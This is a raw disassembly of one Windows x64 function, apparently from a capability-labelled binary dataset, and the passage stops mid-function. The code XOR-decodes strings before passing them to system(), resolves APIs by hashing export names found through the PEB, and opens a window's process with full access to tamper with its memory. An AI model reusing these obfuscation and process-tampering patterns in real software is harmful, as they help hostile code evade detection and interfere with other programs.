Function at 0x140001380
Capabilities:
Encode data using xor
Execute command
Terminate process

Disassembly:
mov rax, rsp
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xc8
movaps xmmword [rax - 0x58], xmm6
movaps xmmword [rax - 0x68], xmm7
movaps xmmword [rax - 0x78], xmm8
movaps xmmword [rax - 0x88], xmm9
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_SetConsoleOutputCP]
movsd xmm0, qword [str.rVW_Y]
movsd qword [rbp - 0x79], xmm0
movzx eax, word [0x140006410]
mov word [rbp - 0x71], ax
cmp byte [0x140006411], 0
je 0x140001403
mov byte [rbp - 0x79], 0x40
xor byte [rbp - 0x78], 0x33
xor byte [rbp - 0x77], 0x34
xor byte [rbp - 0x76], 0x35
xor byte [rbp - 0x75], 0x36
xor byte [rbp - 0x74], 0x37
xor byte [rbp - 0x73], 0x38
xor byte [rbp - 0x72], 0x39
xor byte [rbp - 0x71], 0x3a
xor byte [rbp - 0x70], 0x3b
lea rcx, [rbp - 0x79]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor ebx, ebx
lea esi, [rbx + 5]
lea r14d, [rbx + 0x1f]
lea r9, [0x140008050]
mov edi, dword [0x140008018]
cmp byte [0x1400085d3], bl
je 0x1400015c1
mov ecx, ebx
cmp edi, 2
jl 0x140001585
movdqa xmm5, xmmword [0x140006bb0]
movdqa xmm4, xmmword [0x140006bf0]
movd xmm6, esi
movdqa xmm7, xmmword [str.9999]
movd xmm8, r14d
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rbp - 0x69], xmm0
lea rdx, [0x140008054]
mov r8d, dword [rbp - 0x69]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140006bd0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
pxor xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140006bd0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
pxor xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x580
jl 0x140001473
cmp ecx, 0x584
jge 0x1400015c1
movsxd r8, ecx
add r8, r9
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x39
movzx eax, cl
sub al, dl
add al, 0x32
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x584
jl 0x140001590
mov rcx, r9
call fcn.140001130
lea r9, [0x1400085e0]
cmp byte [0x1400086e6], bl
je 0x140001771
mov ecx, ebx
cmp edi, 2
jl 0x140001732
movdqa xmm5, xmmword [0x140006bb0]
movdqa xmm4, xmmword [0x140006bf0]
movd xmm6, esi
movdqa xmm7, xmmword [str.9999]
movd xmm8, r14d
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rbp - 0x69], xmm0
lea rdx, [0x1400085e4]
mov r8d, dword [rbp - 0x69]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140006bd0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
pxor xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140006bd0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
pxor xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x100
jl 0x140001620
cmp ecx, 0x107
jge 0x140001771
movsxd r8, ecx
add r8, r9
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x39
movzx eax, cl
sub al, dl
add al, 0x32
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x107
jl 0x140001740
mov rcx, r9
call fcn.140001130
lea rdx, [0x140008df4]
lea rcx, [0x1400063a4]
call fcn.140001190
mov eax, dword [0x140008df4]
dec eax
cmp eax, 0xa
ja case.default.0x1400017b0
cdqe
lea rdx, [0x140000000]
mov ecx, dword [rdx + rax*4 + 0x3c78]
add rcx, rdx
jmp rcx
mov qword [0x140008dc8], 0x479be4
mov qword [0x140008e10], 0x479be8
mov qword [0x140008df8], 0x479c14
mov qword [0x140008db0], 0x479c1c
mov qword [0x140008db8], 0x479c24
mov qword [0x140008dc0], 0x479c2c
jmp 0x14000195b
mov qword [0x140008dc8], 0x47abe4
mov qword [0x140008e10], 0x47abe8
mov qword [0x140008df8], 0x47ac14
mov qword [0x140008db0], 0x47ac1c
mov qword [0x140008db8], 0x47ac24
mov qword [0x140008dc0], 0x47ac2c
jmp 0x14000195b
mov qword [0x140008dc8], 0x47bbe4
mov qword [0x140008e10], 0x47abe8
mov qword [0x140008df8], 0x47bc24
mov qword [0x140008db0], 0x47bc2c
mov qword [0x140008db8], 0x47bc34
mov qword [0x140008dc0], 0x47bc3c
lea rdx, str.ProjectModul4
jmp 0x140001962
mov qword [0x140008dc8], 0x476bdc
mov qword [0x140008e10], 0x476be0
mov qword [0x140008df8], 0x476c0c
mov qword [0x140008db0], 0x476c14
mov qword [0x140008db8], 0x476c1c
mov qword [0x140008dc0], 0x476c24
jmp 0x14000195b
mov qword [0x140008dc8], 0x476be4
mov qword [0x140008e10], 0x476be8
mov qword [0x140008df8], 0x476c14
mov qword [0x140008db0], 0x476c1c
mov qword [0x140008db8], 0x476c24
mov qword [0x140008dc0], 0x476c2c
jmp 0x14000195b
mov qword [0x140008dc8], 0x477be4
mov qword [0x140008e10], 0x477be8
mov qword [0x140008df8], 0x477c14
mov qword [0x140008db0], 0x477c1c
mov qword [0x140008db8], 0x477c24
mov qword [0x140008dc0], 0x477c2c
lea rdx, str.Project1
mov qword [0x140008e00], rdx
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
mov qword [rbp + 0x6f], rax
mov qword [0x140008de8], rax
test rax, rax
jne 0x140001b95
movups xmm0, xmmword [0x1400064a0]
movups xmmword [rbp - 0x59], xmm0
movups xmm1, xmmword [0x1400064b0]
movups xmmword [rbp - 0x49], xmm1
movsd xmm0, qword [0x1400064c0]
movsd qword [rbp - 0x39], xmm0
cmp edi, 2
jl 0x140001af9
movdqa xmm5, xmmword [0x140006bb0]
mov edx, ebx
movdqa xmm4, xmmword [0x140006bf0]
movd xmm6, esi
movdqa xmm7, xmmword [str.9999]
movd xmm8, r14d
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rbp - 0x69], xmm0
lea rcx, [rbp - 0x55]
mov r8d, dword [rbp - 0x69]
nop dword [rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140006bd0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140006bd0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x28
jl 0x1400019f0
jmp 0x140001b33
lea r9, [rbp - 0x59]
mov r8d, ebx
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x28
jl 0x140001b00
lea rcx, [rbp - 0x59]
call fcn.140001130
mov eax, dword [str.BRAFS7]
mov dword [rbp + 0x67], eax
movzx eax, word [0x140006418]
mov word [rbp + 0x6b], ax
mov byte [rbp + 0x67], 0x70
xor byte [rbp + 0x68], 0x33
xor byte [rbp + 0x69], 0x34
xor byte [rbp + 0x6a], 0x35
xor byte [rbp + 0x6b], 0x36
xor byte [rbp + 0x6c], 0x37
lea rcx, [rbp + 0x67]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [0x140008e00]
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
mov qword [rbp + 0x6f], rax
mov qword [0x140008de8], rax
test rax, rax
je 0x140001985
mov rax, qword gs:[0x60]
mov r9, qword [rax + 0x18]
add r9, 0x10
mov qword [rbp + 0x77], r9
mov r14, rbx
mov rcx, qword [r9]
mov qword [rbp + 0x67], rcx
cmp rcx, r9
je 0x140001d15
mov esi, 0x5a4d
mov r11d, 0x20b
mov r10d, 0x7e6a0f70
nop
cmp qword [rcx + 0x60], 0
je 0x140001d05
mov rdi, qword [rcx + 0x30]
test rdi, rdi
je 0x140001d05
movsxd r8, dword [rdi + 0x3c]
mov r12, qword [r8 + rdi + 0x88]
mov rdx, r12
shr rdx, 0x20
mov r13d, r12d
add r13, rdi
cmp word [rdi], si
jne 0x140003a77
cmp word [r8 + rdi + 0x18], r11w
jne 0x140001c1a
test edx, edx
je 0x140001d05
mov esi, ebx
cmp dword [r13 + 0x18], ebx
jbe 0x140001cf7
mov eax, dword [r13 + 0x20]
mov r15d, esi
lea rax, [rax + r15*4]
mov r11d, dword [rax + rdi]
add r11, rdi
mov r8d, r10d
mov r10d, ebx
movzx r9d, byte [r11]
test r9b, r9b
je 0x140001ca5
mov r15d, 0x7e6a0f70
nop dword [rax]
movzx edx, r9b
sub r9b, 0x41
lea eax, [rdx + 0x20]
movzx ecx, al
cmp r9b, 0x19
cmova ecx, edx
movsx edx, cl
lea ecx, [r10 + 0x7e6a0f70]
imul ecx, edx
xor r8d, edx
add r8d, ecx
mov eax, r10d
test r10d, r10d
cmove eax, r15d
xor eax, r15d
imul r8d, eax
add r8d, edx
inc r10d
movzx r9d, byte [r10 + r11]
test r9b, r9b
jne 0x140001c50
mov r15d, esi
cmp r8d, 0xf46766e5
je 0x140001cb8
inc esi
mov r10d, 0x7e6a0f70
cmp esi, dword [r13 + 0x18]
jae 0x140001ce9
jmp 0x140001c26
mov ecx, dword [r13 + 0x1c]
add rcx, rdi
mov eax, dword [r13 + 0x24]
add rax, rdi
movzx eax, word [rax + r15*2]
mov r14d, dword [rcx + rax*4]
add r14, rdi
shr r12, 0x20
add r12, r13
cmp r14, r13
jb 0x140001ce3
cmp r14, r12
jb 0x140001d36
mov r10d, 0x7e6a0f70
mov rcx, qword [rbp + 0x67]
mov r9, qword [rbp + 0x77]
mov r11d, 0x20b
test r14, r14
jne 0x140001dc5
mov esi, 0x5a4d
mov rcx, qword [rcx]
mov qword [rbp + 0x67], rcx
cmp rcx, r9
jne 0x140001bd0
lea rdx, str.Cannot_find_desired_import.
lea rcx, [rbp + 0x6f]
call fcn.140001370
lea rdx, [0x140007698]
lea rcx, [rbp + 0x6f]
call sub.VCRUNTIME140.dll__CxxThrowException
int3
mov r11, r14
movzx r8d, byte [r14]
test r8b, r8b
je 0x140001d60
inc r14
mov rax, r14
cmp r8b, 0x2e
cmovne rax, r11
mov r11, rax
movzx r8d, byte [r14]
test r8b, r8b
jne 0x140001d42
movzx r8d, byte [rax]
mov r15d, 0x7e6a0f70
mov r9d, r15d
mov r10d, ebx
test r8b, r8b
je 0x140001dba
movzx edx, r8b
sub r8b, 0x41
lea eax, [rdx + 0x20]
movzx ecx, al
cmp r8b, 0x19
cmova ecx, edx
movsx edx, cl
lea ecx, [r10 + 0x7e6a0f70]
imul ecx, edx
xor r9d, edx
add r9d, ecx
mov eax, r10d
test r10d, r10d
cmove eax, r15d
xor eax, r15d
imul r9d, eax
add r9d, edx
inc r10d
movzx r8d, byte [r10 + r11]
test r8b, r8b
jne 0x140001d71
mov edx, r9d
call fcn.140003f70
mov r14, rax
lea rdx, [0x140008df0]
mov rcx, qword [rbp + 0x6f]
call r14
nop
mov eax, dword [0x140008df0]
mov dword [rbp + 0x67], eax
mov rax, qword gs:[0x60]
mov r9, qword [rax + 0x18]
add r9, 0x10
mov qword [rbp + 0x7f], r9
mov r14, rbx
mov rcx, qword [r9]
cmp rcx, r9
mov qword [rbp + 0x77], rcx
je 0x140003a56
cmp qword [rcx + 0x60], 0
je 0x140001f2e
mov rdi, qword [rcx + 0x30]
test rdi, rdi
je 0x140001f2e
movsxd r8, dword [rdi + 0x3c]
mov r12, qword [r8 + rdi + 0x88]
mov rdx, r12
shr rdx, 0x20
mov r13d, r12d
add r13, rdi
mov eax, 0x5a4d
cmp word [rdi], ax
jne 0x140003a35
mov eax, 0x20b
cmp word [r8 + rdi + 0x18], ax
jne 0x140001e59
test edx, edx
je 0x140001f2e
mov esi, ebx
cmp dword [r13 + 0x18], ebx
jbe 0x140001f25
mov eax, dword [r13 + 0x20]
mov r15d, esi
lea rax, [rax + r15*4]
mov r11d, dword [rax + rdi]
add r11, rdi
mov r8d, 0x7e6a0f70
mov r10d, ebx
movzx r9d, byte [r11]
test r9b, r9b
je 0x140001ee5
mov r15d, r8d
nop dword [rax]
movzx edx, r9b
sub r9b, 0x41
lea eax, [rdx + 0x20]
movzx ecx, al
cmp r9b, 0x19
cmova ecx, edx
movsx edx, cl
lea ecx, [r10 + 0x7e6a0f70]
imul ecx, edx
xor r8d, edx
add r8d, ecx
mov eax, r10d
test r10d, r10d
cmove eax, r15d
xor eax, r15d
imul r8d, eax
add r8d, edx
inc r10d
movzx r9d, byte [r10 + r11]
test r9b, r9b
jne 0x140001e90
mov r15d, esi
cmp r8d, 0x8f455975
je 0x140001ef2
inc esi
cmp esi, dword [r13 + 0x18]
jae 0x140001f1d
jmp 0x140001e65
mov ecx, dword [r13 + 0x1c]
add rcx, rdi
mov eax, dword [r13 + 0x24]
add rax, rdi
movzx eax, word [rax + r15*2]
mov r14d, dword [rcx + rax*4]
add r14, rdi
shr r12, 0x20
add r12, r13
cmp r14, r13
jb 0x140001f1d
cmp r14, r12
jb 0x140001f36
mov rcx, qword [rbp + 0x77]
mov r9, qword [rbp + 0x7f]
test r14, r14
jne 0x140001fc5
mov rcx, qword [rcx]
jmp 0x140001df8
mov r11, r14
movzx r8d, byte [r14]
test r8b, r8b
je 0x140001f60
inc r14
mov rax, r14
cmp r8b, 0x2e
cmovne rax, r11
mov r11, rax
movzx r8d, byte [r14]
test r8b, r8b
jne 0x140001f42
movzx r8d, byte [rax]
mov r15d, 0x7e6a0f70
mov r9d, r15d
mov r10d, ebx
test r8b, r8b
je 0x140001fba
movzx edx, r8b
sub r8b, 0x41
lea eax, [rdx + 0x20]
movzx ecx, al
cmp r8b, 0x19
cmova ecx, edx
movsx edx, cl
lea ecx, [r10 + 0x7e6a0f70]
imul ecx, edx
xor r9d, edx
add r9d, ecx
mov eax, r10d
test r10d, r10d
cmove eax, r15d
xor eax, r15d
imul r9d, eax
add r9d, edx
inc r10d
movzx r8d, byte [r10 + r11]
test r8b, r8b
jne 0x140001f71
mov edx, r9d
call fcn.140003f70
mov r14, rax
mov r8d, dword [rbp + 0x67]
xor edx, edx
mov ecx, 0x1fffff
call r14
mov qword [rbp + 0x77], rax
cmp dword [0x140008df0], 0
jne 0x140001fec
mov ecx, 0xffffffff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rcx, str.mode_con_cols35_lines8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rax, qword [0x140008dc8]
mov qword [rbp - 0x69], rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
add rax, 0x10
mov qword [rbp + 0x7f], rax
mov r14, rbx
mov rdx, qword [rax]
mov qword [rbp + 0x67], rdx
cmp rdx, rax
je 0x140003a14
cmp qword [rdx + 0x60], 0
je 0x14000215e
mov rsi, qword [rdx + 0x30]
test rsi, rsi
je 0x14000215e
movsxd r8, dword [rsi + 0x3c]
mov r12, qword [r8 + rsi + 0x88]
mov rcx, r12
shr rcx, 0x20
mov r13d, r12d
add r13, rsi
mov eax, 0x5a4d
cmp word [rsi], ax
jne 0x1400039f3
mov eax, 0x20b
cmp word [r8 + rsi + 0x18], ax
jne 0x140002080
test ecx, ecx
je 0x14000215a
mov edi, ebx
cmp dword [r13 + 0x18], ebx
jbe 0x140002151
mov eax, dword [r13 + 0x20]
mov r15d, edi
lea rax, [rax + r15*4]
mov r11d, dword [rax + rsi]
add r11, rsi
mov r8d, 0x7e6a0f70
mov r10d, ebx
movzx r9d, byte [r11]
test r9b, r9b
je 0x140002115
mov r15d, r8d
nop dword [rax]
nop word [rax + rax]
movzx edx, r9b
sub r9b, 0x41
lea eax, [rdx + 0x20]
movzx ecx, al
cmp r9b, 0x19
cmova ecx, edx
movsx edx, cl
lea ecx, [r10 + 0x7e6a0f70]
imul ecx, edx
xor r8d, edx
add r8d, ecx
mov eax, r10d
test r10d, r10d
cmove eax, r15d
xor eax, r15d
imul r8d, eax
add r8d, edx
inc r10d
movzx r9d, byte [r10 + r11]
test r9b, r9b
jne 0x1400020c0
mov r15d, edi
cmp r8d, 0xbcfda879
je 0x140002122
inc edi
cmp edi, dword [r13 + 0x18]
jae 0x14000214d
jmp 0x14000208c
mov ecx, dword [r13 + 0x1c]
add rcx, rsi
mov eax, dword [r13 + 0x24]
add rax, rsi
movzx eax, word [rax + r15*2]
mov r14d, dword [rcx + rax*4]
add r14, rsi
shr r12, 0x20
add r12, r13
cmp r14, r13
jb 0x14000214d
cmp r14, r12
jb 0x140002166
mov rdx, qword [rbp + 0x67]
test r14, r14
jne 0x1400021f5
mov rax, qword [rbp + 0x7f]
mov rdx, qword [rdx]
jmp 0x14000201f
mov r11, r14
movzx r8d, byte [r14]
test r8b, r8b
je 0x140002190
inc r14
mov rax, r14
cmp r8b, 0x2e
cmovne rax, r11
mov r11, rax
movzx r8d, byte [r14]
test r8b, r8b
jne 0x140002172
movzx r8d, byte [rax]
mov r15d, 0x7e6a0f70
mov r9d, r15d
mov r10d, ebx
test r8b, r8b
je 0x1400021ea
movzx edx, r8b
sub r8b, 0x41
lea eax, [rdx + 0x20]
movzx ecx, al
cmp r8b, 0x19
cmova ecx, edx
movsx edx, cl
lea ecx, [r10 + 0x7e6a0f70]
imul ecx, edx
xor r9d, edx
add r9d, ecx
mov eax, r10d
test r10d, r10d
cmove eax, r15d
xor eax, r15d
imul r9d, eax
add r9d, edx
inc r10d
movzx r8d, byte [r10 + r11]
test r8b, r8b
jne 0x1400021a1
mov edx, r9d
call fcn.140003f70
mov r14, rax
mov dword [rsp + 0x20], ebx
mov r9d, 4
lea r8, [0x140008dd4]
mov rdx, qword [rbp - 0x69]
mov rcx, qword [rbp + 0x77]
call r14
nop
mov rax, qword [0x140008e10]
mov qword [rbp - 0x69], rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
add rax, 0x10
mov qword [rbp + 0x7f], rax
mov r14, rbx
mov rdx, qword [rax]
mov qword [rbp + 0x67], rdx
cmp rdx, rax
je 0x1400039d2
cmp qword [rdx + 0x60], 0
je 0x14000236e
mov rsi, qword [rdx + 0x30]
test rsi, rsi
je 0x14000236e
movsxd r8, dword [rsi + 0x3c]
mov r12, qword [r8 + rsi + 0x88]
mov rcx, r12
shr rcx, 0x20
mov r13d, r12d
add r13, rsi
mov eax, 0x5a4d
cmp word [rsi], ax
jne 0x1400039b1
mov eax, 0x20b
cmp word [r8 + rsi + 0x18], ax
jne 0x140002299
test ecx, ecx
je 0x14000236a
mov edi, ebx
cmp dword [r13 + 0x18], ebx
jbe 0x140002361
mov ecx, dword [r13 + 0x20]
mov r15d, edi
lea rax, [rsi + r15*4]
mov r11d, dword [rax + rcx]
add r11, rsi
mov r8d, 0x7e6a0f70
mov r10d, ebx
movzx r9d, byte [r11]
test r9b, r9b
je 0x140002325
mov r15d, r8d
nop dword [rax]
movzx edx, r9b
sub r9b, 0x41
lea eax, [rdx + 0x20]
movzx ecx, al
cmp r9b, 0x19
cmova ecx, edx
movsx edx, cl
lea ecx, [r10 + 0x7e6a0f70]
imul ecx, edx
xor r8d, edx
add r8d, ecx
mov eax, r10d
test r10d, r10d
cmove eax, r15d
xor eax, r15d
imul r8d, eax
add r8d, edx
inc r10d
movzx r9d, byte [r10 + r11]
test r9b, r9b
jne 0x1400022d0
mov r15d, edi
cmp r8d, 0xbcfda879
je 0x140002332
inc edi
cmp edi, dword [r13 + 0x18]
jae 0x14000235d
jmp 0x1400022a5
mov ecx, dword [r13 + 0x1c]
add rcx, rsi
mov eax, dword [r13 + 0x24]
add rax, rsi
movzx eax, word [rax + r15*2]
mov r14d, dword [rcx + rax*4]
add r14, rsi
shr r12, 0x20
add r12, r13
cmp r14, r13
jb 0x14000235d
cmp r14, r12
jb 0x140002376
mov rdx, qword [rbp + 0x67]
test r14, r14
jne 0x140002405
mov rax, qword [rbp + 0x7f]
mov rdx, qword [rdx]
jmp 0x140002238
mov r11, r14
movzx r8d, byte [r14]
test r8b, r8b
je 0x1400023a0
inc r14
mov rax, r14
cmp r8b, 0x2e
cmovne rax, r11
mov r11, rax
movzx r8d, byte [r14]
test r8b, r8b
jne 0x140002382
movzx r8d, byte [rax]
mov r15d, 0x7e6a0f70
mov r9d, r15d
mov r10d, ebx
test r8b, r8b
je 0x1400023fa
movzx edx, r8b
sub r8b, 0x41
lea eax, [rdx + 0x20]
movzx ecx, al
cmp r8b, 0x19
cmova ecx, edx
movsx edx, cl
lea ecx, [r10 + 0x7e6a0f70]
imul ecx, edx
xor r9d, edx
add r9d, ecx
mov eax, r10d
test r10d, r10d
cmove eax, r15d
xor eax, r15d
imul r9d, eax
add r9d, edx
inc r10d
movzx r8d, byte [r10 + r11]
test r8b, r8b
jne 0x1400023b1
mov edx, r9d
call fcn.140003f70
mov r14, rax
mov dword [rsp + 0x20], ebx
mov r9d, 4
lea r8, [0x140008dd0]
mov rdx, qword [rbp - 0x69]
mov rcx, qword [rbp + 0x77]
call r14
nop
mov rax, qword [0x140008df8]
mov qword [rbp - 0x69], rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
add rax, 0x10
mov qword [rbp + 0x7f], rax
mov r14, rbx
mov rdx, qword [rax]
mov qword [rbp + 0x67], rdx
cmp rdx, rax
je 0x140003990
cmp qword [rdx + 0x60], 0
je 0x14000257e
mov rsi, qword [rdx + 0x30]
test rsi, rsi
je 0x14000257e
movsxd r8, dword [rsi + 0x3c]
mov r12, qword [r8 + rsi + 0x88]
mov rcx, r12
shr rcx, 0x20
mov r13d, r12d
add r13, rsi
mov eax, 0x5a4d
cmp word [rsi], ax
jne 0x14000396f
mov eax, 0x20b
cmp word [r8 + rsi + 0x18], ax
jne 0x1400024a9
test ecx, ecx
je 0x14000257a
mov edi, ebx
cmp dword [r13 + 0x18], ebx
jbe 0x140002571
mov ecx, dword [r13 + 0x20]
mov r15d, edi
lea rax, [rsi + r15*4]
mov r11d, dword [rax + rcx]
add r11, rsi
mov r8d, 0x7e6a0f70
mov r10d, ebx
movzx r9d, byte [r11]
test r9b, r9b
je 0x140002535
mov r15d, r8d
nop dword [rax]
movzx edx, r9b
sub r9b, 0x41
lea eax, [rdx + 0x20]
movzx ecx, al
cmp r9b, 0x19
cmova ecx, edx
movsx edx, cl
lea ecx, [r10 + 0x7e6a0f70]
imul ecx, edx
xor r8d, edx
add r8d, ecx
mov eax, r10d
test r10d, r10d
cmove eax, r15d
xor eax, r15d
imul r8d, eax
add r8d, edx
inc r10d
movzx r9d, byte [r10 + r11]
test r9b, r9b
jne 0x1400024e0
mov r15d, edi
cmp r8d, 0xbcfda879
je 0x140002542
inc edi
cmp edi, dword [r13 + 0x18]
jae 0x14000256d
jmp 0x1400024b5
mov ecx, dword [r13 + 0x1c]
add rcx, rsi
mov eax, dword [r13 + 0x24]
add rax, rsi
movzx eax, word [rax + r15*2]
mov r14d, dword [rcx + rax*4]
add r14, rsi
shr r12, 0x20
add r12, r13
cmp r14, r13
jb 0x14000256d
cmp r14, r12
jb 0x140002586
mov rdx, qword [rbp + 0x67]
test r14, r14
jne 0x140002615
mov rax, qword [rbp + 0x7f]
mov rdx, qword [rdx]
jmp 0x140002448
mov r11, r14
movzx r8d, byte [r14]
test r8b, r8b
je 0x1400025b0
inc r14
mov rax, r14
cmp r8b, 0x2e
cmovne rax, r11
mov r11, rax
movzx r8d, byte [r14]
test r8b, r8b
jne 0x140002592
movzx r8d, byte [rax]
mov r15d, 0x7e6a0f70
mov r9d, r15d
mov r10d, ebx
test r8b, r8b
je 0x14000260a
movzx edx, r8b
sub r8b, 0x41
lea eax, [rdx + 0x20]
movzx ecx, al
cmp r8b, 0x19
cmova ecx, edx
movsx edx, cl
lea ecx, [r10 + 0x7e6a0f70]
imul ecx, edx
xor r9d, edx
add r9d, ecx
mov eax, r10d
test r10d, r10d
cmove eax, r15d
xor eax, r15d
imul r9d, eax
add r9d, edx
inc r10d
movzx r8d, byte [r10 + r11]
test r8b, r8b
jne 0x1400025c1
mov edx, r9d
call fcn.140003f70
mov r14, rax
mov dword [rsp + 0x20], ebx
mov r9d, 8
lea r8, [0x140008dd8]
mov rdx, qword [rbp - 0x69]
mov rcx, qword [rbp + 0x77]
call r14
nop
mov rax, qword [0x140008db0]
mov qword [rbp - 0x69], rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
add rax, 0x10
mov qword [rbp + 0x7f], rax
mov r14, rbx
mov rdx, qword [rax]
mov qword [rbp + 0x67], rdx
cmp rdx, rax
je 0x14000394e
cmp qword [rdx + 0x60], 0
je 0x14000278e
mov rsi, qword [rdx + 0x30]
test rsi, rsi
je 0x14000278e
movsxd r8, dword [rsi + 0x3c]
mov r12, qword [r8 + rsi + 0x88]
mov rcx, r12
shr rcx, 0x20
mov r13d, r12d
add r13, rsi
mov eax, 0x5a4d
cmp word [rsi], ax
jne 0x14000392d
mov eax, 0x20b
cmp word [r8 + rsi + 0x18], ax
jne 0x1400026b9
test ecx, ecx
je 0x14000278a
mov edi, ebx
